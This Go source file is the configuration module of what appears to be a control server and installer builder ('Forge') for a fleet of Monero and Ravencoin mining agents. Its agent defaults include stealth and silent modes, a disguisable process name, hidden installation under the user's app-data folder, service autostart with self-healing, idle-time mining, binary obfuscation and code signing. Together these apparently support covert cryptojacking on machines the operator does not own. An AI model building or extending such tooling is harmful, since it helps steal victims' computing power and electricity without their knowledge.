package main

import (
	"encoding/json"
	"flag"
	"fmt"
	"os"
	"path/filepath"
	"strings"
)

type Config struct {
	Port    int    `json:"port"`
	DataDir string `json:"-"` // set from -data CLI flag; never written to config.json

	Pool   PoolConfig   `json:"pool"`
	Wallet WalletConfig `json:"wallet"`

	// Ravencoin / GPU mining defaults — pre-populated in Forge when set here.
	RvnPool   PoolConfig   `json:"rvn_pool,omitempty"`
	RvnWallet WalletConfig `json:"rvn_wallet,omitempty"`

	// Legacy JSON fields — ignored at runtime; Forge bakes per-miner settings into installers.
	DefaultAgent AgentDefaults    `json:"default_agent_config,omitempty"`
	Background   BackgroundConfig `json:"background,omitempty"`
	Alerts       AlertsConfig     `json:"alerts"`
	Server       ServerSettings   `json:"server"`
}

// ServerSettings controls the locally hosted control server (not baked into miners).
type ServerSettings struct {
	PublicURL              string `json:"public_url"`
	StatsRetentionHours    int    `json:"stats_retention_hours"`
	BuildRetentionDays     int    `json:"build_retention_days"`
	PoolReconnectSeconds   int    `json:"pool_reconnect_seconds"`
	WebSocketPingSeconds   int    `json:"websocket_ping_seconds"`
	MaxAgents              int    `json:"max_agents"`
	MaxBuildSizeMB         int    `json:"max_build_size_mb"`
	LogAgentConnections    bool   `json:"log_agent_connections"`
	LogShareSubmissions    bool   `json:"log_share_submissions"`
	LogPoolTraffic         bool   `json:"log_pool_traffic"`
	StrictWalletValidation bool   `json:"strict_wallet_validation"`
	DashboardSubtitle      string `json:"dashboard_subtitle"`
	OpenFirewallOnStart    bool   `json:"open_firewall_on_start"`
	ObfuscateDefault       bool   `json:"obfuscate_default"`
	SignEnabled            bool   `json:"sign_enabled"`
	SignCertThumbprint     string `json:"sign_cert_thumbprint"`
	SignToolPath           string `json:"sign_tool_path"`
	SignTimestampURL       string `json:"sign_timestamp_url"`
	// FleetSecret is a random token generated once on first run and baked into
	// every forged agent binary. Agents must present it on connect or be rejected.
	FleetSecret string `json:"fleet_secret"`
}

// PoolEndpoint is a Stratum upstream used after the primary pool fails.
type PoolEndpoint struct {
	Host   string `json:"host"`
	Port   int    `json:"port"`
	UseTLS bool   `json:"use_tls"`
}

type PoolConfig struct {
	Host         string         `json:"host"`
	Port         int            `json:"port"`
	UseTLS       bool           `json:"use_tls"`
	Password     string         `json:"password"`
	BackupPools  []PoolEndpoint `json:"backup_pools,omitempty"`
}

type WalletConfig struct {
	Address   string `json:"address"`
	PaymentID string `json:"payment_id"`
}

type AgentDefaults struct {
	Threads             int    `json:"threads"`
	ThreadMode          string `json:"thread_mode"`
	ThreadPercent       int    `json:"thread_percent"`
	CPUPriority         string `json:"cpu_priority"`
	MaxCPUUsagePct      int    `json:"max_cpu_usage_pct"`
	MaxMemoryPct        int    `json:"max_memory_percent"`
	MinFreeRAMMB        int    `json:"min_free_ram_mb"`
	MiningMode          string `json:"mining_mode"`
	DisplayMode         string `json:"display_mode"`
	ProcessName         string `json:"process_name"`
	IdleThresholdPct    int    `json:"idle_threshold_pct"`
	IdleDurationMinutes int    `json:"idle_duration_minutes"`
	ScheduleStart       string `json:"schedule_start"`
	ScheduleEnd         string `json:"schedule_end"`
	InstallBase         string `json:"install_base"`
	InstallCustomBase   string `json:"install_custom_base"`
	InstallRelativePath string `json:"install_relative_path"`
	AdaptToHardware     bool   `json:"adapt_to_hardware"`
	SelfHealing         bool   `json:"self_healing"`
	FileLogging         bool   `json:"file_logging"`
	StealthMode         bool   `json:"stealth_mode"`
}

type BackgroundConfig struct {
	SilentMode bool   `json:"silent_mode"`
	RunAs      string `json:"run_as"`
	AutoStart  bool   `json:"auto_start"`
}

type AlertsConfig struct {
	OfflineThresholdMinutes   int    `json:"offline_threshold_minutes"`
	HashrateDropThresholdPct  int    `json:"hashrate_drop_threshold_pct"`
	RejectionRateThresholdPct int    `json:"rejection_rate_threshold_pct"`
	TelegramBotToken          string `json:"telegram_bot_token"`
	TelegramChatID            string `json:"telegram_chat_id"`
	EmailEnabled              bool   `json:"email_enabled"`
	SMTPHost                  string `json:"smtp_host"`
	SMTPPort                  int    `json:"smtp_port"`
	SMTPUser                  string `json:"smtp_user"`
	SMTPPassword              string `json:"smtp_password"`
	EmailTo                   string `json:"email_to"`
	EmailFrom                 string `json:"email_from"`
}

func DefaultConfig() *Config {
	return &Config{
		Port:    8989,
		DataDir: "data",
		Pool: PoolConfig{
			Host:     "pool.supportxmr.com",
			Port:     443,
			UseTLS:   true,
			Password: "x",
			BackupPools: []PoolEndpoint{
				{Host: "gulf.moneroocean.stream", Port: 20128, UseTLS: true},
				{Host: "xmr.herominers.com", Port: 1120, UseTLS: true},
			},
		},
		Wallet: WalletConfig{
			Address:   "",
			PaymentID: "",
		},
		RvnPool: PoolConfig{
			Host:     "rvn.2miners.com",
			Port:     6060,
			UseTLS:   false,
			Password: "x",
			BackupPools: []PoolEndpoint{
				{Host: "stratum-ravencoin.flypool.org", Port: 3333, UseTLS: false},
				{Host: "kawpow.herominers.com", Port: 1130, UseTLS: false},
			},
		},
		RvnWallet: WalletConfig{
			Address: "",
		},
		DefaultAgent: AgentDefaults{
			Threads:             4,
			ThreadMode:          "percent",
			ThreadPercent:       75,
			CPUPriority:         "below_normal",
			MaxCPUUsagePct:      80,
			MaxMemoryPct:        70,
			MinFreeRAMMB:        1024,
			MiningMode:          "always",
			DisplayMode:         "background",
			ProcessName:         "",
			IdleThresholdPct:    20,
			IdleDurationMinutes: 5,
			ScheduleStart:       "21:00",
			ScheduleEnd:         "06:00",
			InstallBase:         "localappdata",
			InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
			AdaptToHardware:     true,
			SelfHealing:         true,
			FileLogging:         true,
			StealthMode:         false,
		},
	Background: BackgroundConfig{
		SilentMode: true,
		RunAs:      "service",
		AutoStart:  true,
	},
		Alerts: AlertsConfig{
			OfflineThresholdMinutes:   5,
			HashrateDropThresholdPct:  50,
			RejectionRateThresholdPct: 5,
		},
		Server: ServerSettings{
			PublicURL:              "",
			StatsRetentionHours:    168,
			BuildRetentionDays:     30,
			PoolReconnectSeconds:   30,
			WebSocketPingSeconds:   30,
			MaxAgents:              256,
			MaxBuildSizeMB:         150,
			LogAgentConnections:    true,
			LogShareSubmissions:    false,
			LogPoolTraffic:         false,
			StrictWalletValidation: false,
			DashboardSubtitle:      "security is just an emotion",
			OpenFirewallOnStart:    true,
			ObfuscateDefault:       false,
			SignEnabled:            false,
			SignTimestampURL:       "http://timestamp.digicert.com",
		},
	}
}

func LoadConfig() *Config {
	cfg := DefaultConfig()

	// Parse CLI flags
	port := flag.Int("port", 8989, "Server port")
	dataDir := flag.String("data", "data", "Data directory")
	flag.Parse()

	cfg.Port = *port
	cfg.DataDir = *dataDir

	// Try to load from config file
	configPath := filepath.Join(cfg.DataDir, "config.json")
	if data, err := os.ReadFile(configPath); err == nil {
		var fileCfg Config
		if err := json.Unmarshal(data, &fileCfg); err == nil {
			// Use mergeConfigExplicit so that boolean fields absent from the file
			// keep their DefaultConfig values instead of being zeroed (H14).
			var presentKeys map[string]json.RawMessage
			_ = json.Unmarshal(data, &presentKeys)
			mergeConfigExplicit(cfg, &fileCfg, presentKeys)
			if !strings.Contains(string(data), `"open_firewall_on_start"`) {
				cfg.Server.OpenFirewallOnStart = true
			}
		}
	}

	return cfg
}

func mergeConfig(dst, src *Config) {
	if src.Port != 0 {
		dst.Port = src.Port
	}
	if src.DataDir != "" {
		dst.DataDir = src.DataDir
	}
	if src.Pool.Host != "" {
		dst.Pool.Host = src.Pool.Host
	}
	if src.Pool.Port != 0 {
		dst.Pool.Port = src.Pool.Port
	}
	dst.Pool.UseTLS = src.Pool.UseTLS
	if src.Pool.Password != "" {
		dst.Pool.Password = src.Pool.Password
	}
	if len(src.Pool.BackupPools) > 0 {
		dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
	}
	if src.Wallet.Address != "" {
		dst.Wallet.Address = src.Wallet.Address
	}
	if src.Wallet.PaymentID != "" {
		dst.Wallet.PaymentID = src.Wallet.PaymentID
	}
	if src.RvnPool.Host != "" {
		dst.RvnPool.Host = src.RvnPool.Host
	}
	if src.RvnPool.Port != 0 {
		dst.RvnPool.Port = src.RvnPool.Port
	}
	dst.RvnPool.UseTLS = src.RvnPool.UseTLS
	if src.RvnPool.Password != "" {
		dst.RvnPool.Password = src.RvnPool.Password
	}
	if len(src.RvnPool.BackupPools) > 0 {
		dst.RvnPool.BackupPools = append([]PoolEndpoint(nil), src.RvnPool.BackupPools...)
	}
	if src.RvnWallet.Address != "" {
		dst.RvnWallet.Address = src.RvnWallet.Address
	}
	if src.DefaultAgent.Threads != 0 {
		dst.DefaultAgent.Threads = src.DefaultAgent.Threads
	}
	if src.DefaultAgent.ThreadMode != "" {
		dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
	}
	if src.DefaultAgent.ThreadPercent != 0 {
		dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
	}
	if src.DefaultAgent.CPUPriority != "" {
		dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
	}
	if src.DefaultAgent.MaxCPUUsagePct != 0 {
		dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
	}
	if src.DefaultAgent.MaxMemoryPct != 0 {
		dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
	}
	if src.DefaultAgent.MinFreeRAMMB != 0 {
		dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
	}
	if src.DefaultAgent.MiningMode != "" {
		dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
	}
	if src.DefaultAgent.DisplayMode != "" {
		dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
	}
	if src.DefaultAgent.ProcessName != "" {
		dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
	}
	if src.DefaultAgent.IdleThresholdPct != 0 {
		dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
	}
	if src.DefaultAgent.IdleDurationMinutes != 0 {
		dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
	}
	if src.DefaultAgent.ScheduleStart != "" {
		dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
	}
	if src.DefaultAgent.ScheduleEnd != "" {
		dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
	}
	if src.DefaultAgent.InstallBase != "" {
		dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
	}
	if src.DefaultAgent.InstallCustomBase != "" {
		dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
	}
	if src.DefaultAgent.InstallRelativePath != "" {
		dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
	}
	if src.DefaultAgent.InstallRelativePath != "" || src.DefaultAgent.StealthMode || !src.DefaultAgent.FileLogging {
		dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
		dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
		dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
		dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
	}
	dst.Background.SilentMode = src.Background.SilentMode
	if src.Background.RunAs != "" {
		dst.Background.RunAs = src.Background.RunAs
	}
	dst.Background.AutoStart = src.Background.AutoStart
	if src.Alerts.OfflineThresholdMinutes != 0 {
		dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
	}
	if src.Alerts.HashrateDropThresholdPct != 0 {
		dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
	}
	if src.Alerts.RejectionRateThresholdPct != 0 {
		dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
	}
	if src.Alerts.TelegramBotToken != "" {
		dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
	}
	if src.Alerts.TelegramChatID != "" {
		dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
	}
	dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
	if src.Alerts.SMTPHost != "" {
		dst.Alerts.SMTPHost = src.Alerts.SMTPHost
	}
	if src.Alerts.SMTPPort != 0 {
		dst.Alerts.SMTPPort = src.Alerts.SMTPPort
	}
	if src.Alerts.SMTPUser != "" {
		dst.Alerts.SMTPUser = src.Alerts.SMTPUser
	}
	if src.Alerts.SMTPPassword != "" {
		dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
	}
	if src.Alerts.EmailTo != "" {
		dst.Alerts.EmailTo = src.Alerts.EmailTo
	}
	if src.Alerts.EmailFrom != "" {
		dst.Alerts.EmailFrom = src.Alerts.EmailFrom
	}
	if src.Server.PublicURL != "" {
		dst.Server.PublicURL = src.Server.PublicURL
	}
	if src.Server.StatsRetentionHours != 0 {
		dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
	}
	if src.Server.BuildRetentionDays != 0 {
		dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
	}
	if src.Server.PoolReconnectSeconds != 0 {
		dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
	}
	if src.Server.WebSocketPingSeconds != 0 {
		dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
	}
	if src.Server.MaxAgents != 0 {
		dst.Server.MaxAgents = src.Server.MaxAgents
	}
	if src.Server.MaxBuildSizeMB != 0 {
		dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
	}
	dst.Server.LogAgentConnections = src.Server.LogAgentConnections
	dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
	dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
	dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
	if src.Server.DashboardSubtitle != "" {
		dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
	}
	dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
	dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
	dst.Server.SignEnabled = src.Server.SignEnabled
	if src.Server.SignCertThumbprint != "" {
		dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
	}
	if src.Server.SignToolPath != "" {
		dst.Server.SignToolPath = src.Server.SignToolPath
	}
	if src.Server.SignTimestampURL != "" {
		dst.Server.SignTimestampURL = src.Server.SignTimestampURL
	}
}

// nestedJSONKeys returns keys explicitly present in a nested JSON object section.
func nestedJSONKeys(present map[string]json.RawMessage, section string) map[string]json.RawMessage {
	if present == nil {
		return nil
	}
	raw, ok := present[section]
	if !ok || len(raw) == 0 {
		return nil
	}
	var nested map[string]json.RawMessage
	if err := json.Unmarshal(raw, &nested); err != nil {
		return nil
	}
	return nested
}

// mergeConfigExplicit is like mergeConfig but only applies fields when the
// corresponding JSON key was explicitly present in the PUT payload.
// Top-level absence preserves existing values (H14); nested absence within a
// section preserves sibling fields (partial PUT / import shallow-merge fix).
func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
	if present == nil {
		// Fall back to old behaviour if we have no key presence info
		mergeConfig(dst, src)
		return
	}
	has := func(key string) bool { _, ok := present[key]; return ok }
	in := func(section map[string]json.RawMessage, key string) bool {
		if section == nil {
			return false
		}
		_, ok := section[key]
		return ok
	}

	// Non-boolean scalar fields — safe to use zero-value guard
	if has("port") && src.Port != 0 {
		dst.Port = src.Port
	}
	if has("data_dir") && src.DataDir != "" {
		dst.DataDir = src.DataDir
	}

	if has("pool") {
		poolKeys := nestedJSONKeys(present, "pool")
		if in(poolKeys, "host") && src.Pool.Host != "" {
			dst.Pool.Host = src.Pool.Host
		}
		if in(poolKeys, "port") && src.Pool.Port != 0 {
			dst.Pool.Port = src.Pool.Port
		}
		if in(poolKeys, "use_tls") {
			dst.Pool.UseTLS = src.Pool.UseTLS
		}
		if in(poolKeys, "password") && src.Pool.Password != "" {
			dst.Pool.Password = src.Pool.Password
		}
		if in(poolKeys, "backup_pools") {
			dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
		}
	}

	if has("wallet") {
		walletKeys := nestedJSONKeys(present, "wallet")
		if in(walletKeys, "address") && src.Wallet.Address != "" {
			dst.Wallet.Address = src.Wallet.Address
		}
		if in(walletKeys, "payment_id") && src.Wallet.PaymentID != "" {
			dst.Wallet.PaymentID = src.Wallet.PaymentID
		}
	}

	if has("rvn_pool") {
		rvnPoolKeys := nestedJSONKeys(present, "rvn_pool")
		if in(rvnPoolKeys, "host") && src.RvnPool.Host != "" {
			dst.RvnPool.Host = src.RvnPool.Host
		}
		if in(rvnPoolKeys, "port") && src.RvnPool.Port != 0 {
			dst.RvnPool.Port = src.RvnPool.Port
		}
		if in(rvnPoolKeys, "use_tls") {
			dst.RvnPool.UseTLS = src.RvnPool.UseTLS
		}
		if in(rvnPoolKeys, "password") && src.RvnPool.Password != "" {
			dst.RvnPool.Password = src.RvnPool.Password
		}
		if in(rvnPoolKeys, "backup_pools") {
			dst.RvnPool.BackupPools = append([]PoolEndpoint(nil), src.RvnPool.BackupPools...)
		}
	}

	if has("rvn_wallet") {
		rvnWalletKeys := nestedJSONKeys(present, "rvn_wallet")
		if in(rvnWalletKeys, "address") && src.RvnWallet.Address != "" {
			dst.RvnWallet.Address = src.RvnWallet.Address
		}
	}

	// The JSON struct tag is "default_agent_config" — must match exactly.
	if has("default_agent_config") {
		daKeys := nestedJSONKeys(present, "default_agent_config")
		if in(daKeys, "threads") && src.DefaultAgent.Threads != 0 {
			dst.DefaultAgent.Threads = src.DefaultAgent.Threads
		}
		if in(daKeys, "thread_mode") && src.DefaultAgent.ThreadMode != "" {
			dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
		}
		if in(daKeys, "thread_percent") && src.DefaultAgent.ThreadPercent != 0 {
			dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
		}
		if in(daKeys, "cpu_priority") && src.DefaultAgent.CPUPriority != "" {
			dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
		}
		if in(daKeys, "max_cpu_usage_pct") && src.DefaultAgent.MaxCPUUsagePct != 0 {
			dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
		}
		if in(daKeys, "max_memory_percent") && src.DefaultAgent.MaxMemoryPct != 0 {
			dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
		}
		if in(daKeys, "min_free_ram_mb") && src.DefaultAgent.MinFreeRAMMB != 0 {
			dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
		}
		if in(daKeys, "mining_mode") && src.DefaultAgent.MiningMode != "" {
			dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
		}
		if in(daKeys, "display_mode") && src.DefaultAgent.DisplayMode != "" {
			dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
		}
		if in(daKeys, "process_name") && src.DefaultAgent.ProcessName != "" {
			dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
		}
		if in(daKeys, "idle_threshold_pct") && src.DefaultAgent.IdleThresholdPct != 0 {
			dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
		}
		if in(daKeys, "idle_duration_minutes") && src.DefaultAgent.IdleDurationMinutes != 0 {
			dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
		}
		if in(daKeys, "schedule_start") && src.DefaultAgent.ScheduleStart != "" {
			dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
		}
		if in(daKeys, "schedule_end") && src.DefaultAgent.ScheduleEnd != "" {
			dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
		}
		if in(daKeys, "install_base") && src.DefaultAgent.InstallBase != "" {
			dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
		}
		if in(daKeys, "install_custom_base") && src.DefaultAgent.InstallCustomBase != "" {
			dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
		}
		if in(daKeys, "install_relative_path") && src.DefaultAgent.InstallRelativePath != "" {
			dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
		}
		if in(daKeys, "adapt_to_hardware") {
			dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
		}
		if in(daKeys, "self_healing") {
			dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
		}
		if in(daKeys, "file_logging") {
			dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
		}
		if in(daKeys, "stealth_mode") {
			dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
		}
	}

	if has("background") {
		bgKeys := nestedJSONKeys(present, "background")
		if in(bgKeys, "silent_mode") {
			dst.Background.SilentMode = src.Background.SilentMode
		}
		if in(bgKeys, "run_as") && src.Background.RunAs != "" {
			dst.Background.RunAs = src.Background.RunAs
		}
		if in(bgKeys, "auto_start") {
			dst.Background.AutoStart = src.Background.AutoStart
		}
	}

	if has("alerts") {
		alertKeys := nestedJSONKeys(present, "alerts")
		if in(alertKeys, "offline_threshold_minutes") && src.Alerts.OfflineThresholdMinutes != 0 {
			dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
		}
		if in(alertKeys, "hashrate_drop_threshold_pct") && src.Alerts.HashrateDropThresholdPct != 0 {
			dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
		}
		if in(alertKeys, "rejection_rate_threshold_pct") && src.Alerts.RejectionRateThresholdPct != 0 {
			dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
		}
		if in(alertKeys, "telegram_bot_token") && src.Alerts.TelegramBotToken != "" {
			dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
		}
		if in(alertKeys, "telegram_chat_id") && src.Alerts.TelegramChatID != "" {
			dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
		}
		if in(alertKeys, "email_enabled") {
			dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
		}
		if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
			dst.Alerts.SMTPHost = src.Alerts.SMTPHost
		}
		if in(alertKeys, "smtp_port") && src.Alerts.SMTPPort != 0 {
			dst.Alerts.SMTPPort = src.Alerts.SMTPPort
		}
		if in(alertKeys, "smtp_user") && src.Alerts.SMTPUser != "" {
			dst.Alerts.SMTPUser = src.Alerts.SMTPUser
		}
		if in(alertKeys, "smtp_password") && src.Alerts.SMTPPassword != "" {
			dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
		}
		if in(alertKeys, "email_to") && src.Alerts.EmailTo != "" {
			dst.Alerts.EmailTo = src.Alerts.EmailTo
		}
		if in(alertKeys, "email_from") && src.Alerts.EmailFrom != "" {
			dst.Alerts.EmailFrom = src.Alerts.EmailFrom
		}
	}

	if has("server") {
		srvKeys := nestedJSONKeys(present, "server")
		if in(srvKeys, "public_url") {
			dst.Server.PublicURL = src.Server.PublicURL
		}
		if in(srvKeys, "stats_retention_hours") && src.Server.StatsRetentionHours != 0 {
			dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
		}
		if in(srvKeys, "build_retention_days") && src.Server.BuildRetentionDays != 0 {
			dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
		}
		if in(srvKeys, "pool_reconnect_seconds") && src.Server.PoolReconnectSeconds != 0 {
			dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
		}
		if in(srvKeys, "websocket_ping_seconds") && src.Server.WebSocketPingSeconds != 0 {
			dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
		}
		if in(srvKeys, "max_agents") && src.Server.MaxAgents != 0 {
			dst.Server.MaxAgents = src.Server.MaxAgents
		}
		if in(srvKeys, "max_build_size_mb") && src.Server.MaxBuildSizeMB != 0 {
			dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
		}
		if in(srvKeys, "log_agent_connections") {
			dst.Server.LogAgentConnections = src.Server.LogAgentConnections
		}
		if in(srvKeys, "log_share_submissions") {
			dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
		}
		if in(srvKeys, "log_pool_traffic") {
			dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
		}
		if in(srvKeys, "strict_wallet_validation") {
			dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
		}
		if in(srvKeys, "open_firewall_on_start") {
			dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
		}
		if in(srvKeys, "obfuscate_default") {
			dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
		}
		if in(srvKeys, "sign_enabled") {
			dst.Server.SignEnabled = src.Server.SignEnabled
		}
		if in(srvKeys, "dashboard_subtitle") && src.Server.DashboardSubtitle != "" {
			dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
		}
		if in(srvKeys, "sign_cert_thumbprint") && src.Server.SignCertThumbprint != "" {
			dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
		}
		if in(srvKeys, "sign_tool_path") && src.Server.SignToolPath != "" {
			dst.Server.SignToolPath = src.Server.SignToolPath
		}
		if in(srvKeys, "sign_timestamp_url") && src.Server.SignTimestampURL != "" {
			dst.Server.SignTimestampURL = src.Server.SignTimestampURL
		}
		if in(srvKeys, "fleet_secret") && src.Server.FleetSecret != "" {
			dst.Server.FleetSecret = src.Server.FleetSecret
		}
	}
}

func (c *Config) Save() error {
	configPath := filepath.Join(c.DataDir, "config.json")
	data, err := json.MarshalIndent(c, "", "  ")
	if err != nil {
		return fmt.Errorf("failed to marshal config: %w", err)
	}
	return os.WriteFile(configPath, data, 0644)
}

func (c *Config) PoolURL() string {
	proto := "stratum+tcp"
	if c.Pool.UseTLS {
		proto = "stratum+ssl"
	}
	return fmt.Sprintf("%s://%s:%d", proto, c.Pool.Host, c.Pool.Port)
}
